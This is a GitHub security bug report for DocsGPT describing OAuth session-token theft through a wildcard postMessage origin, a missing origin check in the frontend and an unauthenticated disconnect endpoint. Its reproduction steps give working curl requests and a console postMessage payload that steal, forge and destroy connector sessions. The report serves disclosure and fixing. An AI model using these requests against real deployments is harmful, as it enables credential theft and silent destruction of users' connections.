arc53 / arc53/DocsGPT

πŸ› Bug Report: OAuth connector session token theft via postMessage wildcard origin

Closed
#2,766 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
18.3k
Forks
2.1k
Avg merge
1d 2h
Merged PRs (30d)
29

Description

### πŸ“œ Description

reported on 15 June 2026 via https://github.com/arc53/DocsGPT/security/advisories/GHSA-949x-3mqg-5xfr

### Summary
The OAuth connector callback status page at `/api/connectors/callback-status` sends the OAuth session token to `window.opener` using `postMessage` with a wildcard target origin (`'*'`). Additionally, the frontend message handler in `ConnectorAuth.tsx` accepts messages from any origin without validating `event.origin`. A malicious page that acts as `window.opener` during an OAuth flow -- for example, by opening a DocsGPT popup from attacker-controlled context -- can receive the connector `session_token`, which links to a stored OAuth credential (Google Drive access token). The `disconnect` endpoint at `/api/connectors/disconnect` additionally accepts this token without any JWT authentication, allowing session destruction without the victim's credentials.

### Details

**Root cause 1 -- server-side wildcard postMessage:**

`application/api/connector/routes.py`, lines 519--524:

```python
if (status === "success" && window.opener) {
window.opener.postMessage({
type: providerType + '_auth_success',
session_token: sessionToken,
user_email: userEmail
}, '*'); # <-- wildcard target origin
```

The `session_token` (a UUIDv4 that maps to an OAuth credential row in `connector_sessions`) is broadcast to any origin that is `window.opener` of the callback page.

**Root cause 2 -- client-side missing origin check:**

`frontend/src/components/ConnectorAuth.tsx`, lines 56--79:

```ts
const handleAuthMessage = (event: MessageEvent) => {
const successProvider = event.data?.type === `${provider}_auth_success`;
if (successGeneric || successProvider) {
onSuccess({ session_token: event.data.session_token, ... });
}
// event.origin is never verified
};
window.addEventListener('message', handleAuthMessage);
```

Any page can inject a fabricated `session_token` into the DocsGPT frontend by firing a matching message event.

**Root cause 3 -- unauthenticated disconnect endpoint:**

`application/api/connector/routes.py`, lines 347--365 -- `/api/connectors/disconnect` performs no JWT check, accepts a `session_token`, and deletes the matching row from `connector_sessions` without verifying the caller is the token's owner. Live-confirmed: a `POST /api/connectors/disconnect` call without any Authorization header returns `{"success": true}`.

**OAuth credential exposure chain:**

With a stolen `session_token`, an attacker who also obtains the victim's DocsGPT JWT (possible in shared deployments) can call `/api/connectors/validate-session` which returns the raw `access_token` for the connected provider (line 333 of `routes.py`). Even without the JWT, the attacker can silently destroy the victim's connector session via the unauthenticated disconnect endpoint.

### πŸ‘Ÿ Reproduction steps

### PoC

**Prerequisites:**
- DocsGPT instance with connector support (e.g., `AUTH_TYPE=session_jwt` multi-user deployment)
- Victim has completed Google Drive OAuth connection
- Attacker controls a web page the victim visits

**Steps demonstrating wildcard postMessage (live-validated):**

1. Confirm the callback-status page is accessible without authentication and renders the session_token in an inline `` block:

```
curl -s "http://TARGET:7091/api/connectors/callback-status?status=success&session_token=demo-token-abc123&provider=google_drive&user_email=victim@company.com"
```

Observed response (truncated):
```html
<script>
window.onload = function() {
const status = "success";
const sessionToken = "demo-token-abc123";
const userEmail = "victim@company.com";
const providerType = "google_drive";

if (status === "success" && window.opener) {
window.opener.postMessage({
type: providerType + '_auth_success',
session_token: sessionToken,
user_email: userEmail
}, '*'); // broadcasts to ANY origin
```

2. Attacker hosts a page that opens the DocsGPT OAuth initiation URL in a popup and listens for the message. When the OAuth flow completes (Google redirects back to DocsGPT's `/api/connectors/callback`), DocsGPT redirects to `/api/connectors/callback-status?session_token=REAL_UUID&...` and the script fires `window.opener.postMessage({session_token: REAL_UUID}, '*')` to the attacker's page.

3. Demonstrate unauthenticated session destruction with the stolen token:

```bash
curl -s -X POST http://TARGET:7091/api/connectors/disconnect \
-H "Content-Type: application/json" \
-d '{"provider": "google_drive", "session_token": "STOLEN_TOKEN"}'
```

Observed response (no Authorization header, no JWT):
```json
{"success": true}
```

The victim's Google Drive connector is silently removed without their knowledge.

4. Demonstrate frontend origin spoofing (fake token injection). In browser console on the DocsGPT frontend:

```js
window.postMessage({type: 'google_drive_auth_success', session_token: 'attacker-chosen-token', user_email: 'evil@attacker.com'}, '*');
```

The ConnectorAuth.tsx handler accepts this message and calls `onSuccess({session_token: 'attacker-chosen-token'})`, potentially causing the frontend to use an attacker-controlled token for subsequent connector operations.

### πŸ‘ Expected behavior

### Impact

An attacker who can act as `window.opener` during a victim's DocsGPT OAuth flow receives the connector `session_token` that maps to stored OAuth credentials (Google Drive). Combined with the unauthenticated `/api/connectors/disconnect` endpoint, the attacker can destroy the victim's connector session without any authentication. In deployments where the attacker also has a DocsGPT account, they can use the stolen token with their own JWT to access the victim's Google Drive file list via `/api/connectors/files`.

### πŸ‘Ž Actual Behavior with Screenshots

-

### πŸ’» Operating system

Linux

### What browsers are you seeing the problem on?

_No response_

### πŸ€– What development environment are you experiencing this bug on?

Docker

### πŸ”’ Did you set the correct environment variables in the right path? List the environment variable names (not values please!)

_No response_

### πŸ“ƒ Provide any additional context for the Bug.

_No response_

### πŸ“– Relevant log output

```shell

```

### πŸ‘€ Have you spent some time to check if this bug has been raised before?

- [x] I checked and didn't find similar issue

### πŸ”— Are you willing to submit PR?

None

### πŸ§‘β€βš–οΈ Code of Conduct

- [x] I agree to follow this project's Code of Conduct

Contributor guide

Open the contributing guide

Research direction

Start with application/api/connector/routes.py at the callback-status and disconnect endpoints, then inspect frontend/src/components/ConnectorAuth.tsx and reproduce the reported postMessage and unauthenticated-disconnect behavior. Trace how session_token is passed to validate-session and files. Done means the reported token exposure, origin spoofing, and unauthenticated session destruction paths are prevented and the affected flows still work.

Written by the indexing model from the issue text.

Assessment

Tech stack
python, typescript
Domain
api, authentication, authorization, frontend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.